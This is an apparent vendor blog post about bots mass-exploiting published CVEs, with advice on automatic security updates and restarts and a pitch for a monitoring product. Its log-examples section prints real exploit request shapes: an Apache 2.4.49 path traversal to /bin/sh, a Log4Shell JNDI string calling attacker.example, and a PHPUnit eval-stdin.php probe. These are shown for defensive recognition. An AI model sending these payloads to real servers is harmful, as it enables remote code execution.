Know your attacker · Part 8

Exploiting known vulnerabilities: the race between the advisory and your patch

Once a vulnerability is public, bots scan for it within days. How mass exploitation of known CVEs works, what the probes look like, and how to shrink the time between a fix being published and your server running it.

5 min read CVEpatchingunattended-upgradesvulnerabilities

The attacks in the rest of this series exhaust, guess or probe. This one breaks in. It needs no zero-day and no skill: only a vulnerability that has already been published, a fix that has already been released — and a server that has not installed it yet.

The names

Exploitation of known vulnerabilities, N-day exploitation (as opposed to zero-days, which have no fix yet), mass exploitation when bots try it on every reachable host. Individual campaigns are named after the vulnerability: Log4Shell, Shellshock, regreSSHion.

What the attacker wants

Code execution, or the next best thing: reading files, bypassing authentication. A remotely exploitable flaw in a web server, an SSH daemon, a mail server or a widely used library turns into a shell on every server that still runs the vulnerable version. What happens next is the usual: cryptomining, a botnet node, data theft, ransomware.

How it works

The timeline of a typical mass exploitation:

  1. A vulnerability is disclosed and a fixed version released. The advisory gets a CVE identifier and a severity.
  2. Researchers, or attackers, compare the fixed and vulnerable versions and write a working exploit. For a high-profile flaw, a public proof of concept can appear within days, sometimes hours.
  3. The exploit is added to scanning tools and botnets, which try it against every address they can reach.
  4. Every server still running the vulnerable version is found, whatever it hosts.

The window that matters is between step 1 and the moment your server runs the fixed version. That is patch latency, and it is entirely on your side.

What the probes look like

Exploit attempts are often visible in access logs, because they need a particular request shape. A few well-known examples:

# Apache 2.4.49 path traversal (CVE-2021-41773)
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

# Log4Shell (CVE-2021-44228): a JNDI lookup in any logged header
User-Agent: ${jndi:ldap://attacker.example/a}

# PHPUnit's eval-stdin.php (CVE-2017-9841), still probed years later
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Not every vulnerability leaves such a trace. regreSSHion (CVE-2024-6387), a race condition in OpenSSH’s sshd on glibc-based Linux, affected versions 8.5p1 to 9.7p1 and was triggered through the authentication timeout — its traces are connections that never finish authenticating, not a recognisable request. When the probe is invisible, the only defence is to have patched.

How to protect yourself

Install security updates automatically

On Debian and Ubuntu, unattended-upgrades installs security updates daily:

sudo apt install unattended-upgrades
sudo dpkg-reconfigure -plow unattended-upgrades

Check what it covers in /etc/apt/apt.conf.d/50unattended-upgrades — by default, the security archive. On RHEL-family systems, dnf-automatic with upgrade_type = security and apply_updates = yes in /etc/dnf/automatic.conf, then systemctl enable --now dnf-automatic.timer. Automatic security updates are a reasonable default for most servers: the risk of an update breaking something is real but small, and far smaller than the risk of a known flaw left open for weeks.

An installed fix is not a running fix

Updating a package replaces files on disk. A process that started before the update keeps running the old code until it restarts:

  • Services and libraries. After an OpenSSL or glibc update, every service linked to it still uses the old version in memory. needrestart lists — and can restart — those services:
sudo apt install needrestart
sudo needrestart -r l   # list what still runs outdated code
  • The kernel. A kernel update takes effect only after a reboot. On Debian and Ubuntu, /var/run/reboot-required tells you one is pending; compare uname -r with the newest installed kernel. Schedule reboots, or use a live-patching service for the critical fixes in between.

Leave unsupported systems

A distribution past its end of life gets no more security updates. Every new vulnerability in its packages stays open for good. The same applies to language runtimes such as an old PHP version. Plan upgrades before the end-of-life date, not after.

Don’t forget what the package manager doesn’t see

apt and dnf only patch what they installed. Your application’s dependencies — Composer, npm, pip packages, a WordPress plugin, a binary you downloaded — are yours to track. Run composer audit or npm audit in CI, and keep CMS plugins updated.

Reduce what is reachable

A vulnerable service nobody can reach is much less urgent. Keep databases, caches and admin interfaces off the internet, and remove what you do not use: every package is a future advisory.

How Demerzel helps

  • It finds the CVEs that really apply. The agent reports the exact version of every package installed on each server. Demerzel matches them against advisories synced from OSV.dev, with distribution-aware version comparison — it understands Debian epochs and revisions, so a version such as 3.0.15-1~deb12u1 is compared correctly. Each finding names the package, the installed version, the CVE, its severity and the version that fixes it, on the server’s Vulnerabilities tab. Critical and high findings become Actions on the dashboard, and alerts on the channels you choose.
  • It measures patch latency, server by server. The Health Score’s Updates factor weighs pending security updates and pending restarts; its Security factor weighs the vulnerabilities that already have a fix. The security checklist asks the questions above: are security updates installed, do they install themselves (unattended-upgrades or dnf-automatic on), is the server running the kernel it has installed, is the operating system still supported. Each item still to fix comes with the command.
  • It shows who is probing. With web logs granted, the addresses that fire a rule or stand out by volume or errors get a dossier with the paths they asked for, and the warden can ban the most common probes — S1-secret-probe covers PHPUnit’s eval-stdin.php, S2-cms-probe repeated failed probes for software the server does not run. It does not recognise exploit payloads such as a JNDI string: that is what patching is for.

What it does not do: see your application’s dependencies. Demerzel tracks the packages your distribution’s package manager installed. A vulnerable Composer or npm package, or a WordPress plugin, is outside what the agent reports — keep composer audit and its equivalents in your pipeline. And Demerzel does not patch anything: the agent only reads. It tells you what to update; you, or unattended-upgrades, install it.

Know which CVEs really apply to each server.

Demerzel matches published advisories against the exact package versions installed on every server, and tells you what to update, restart or reboot.

14-day free trial · No credit card required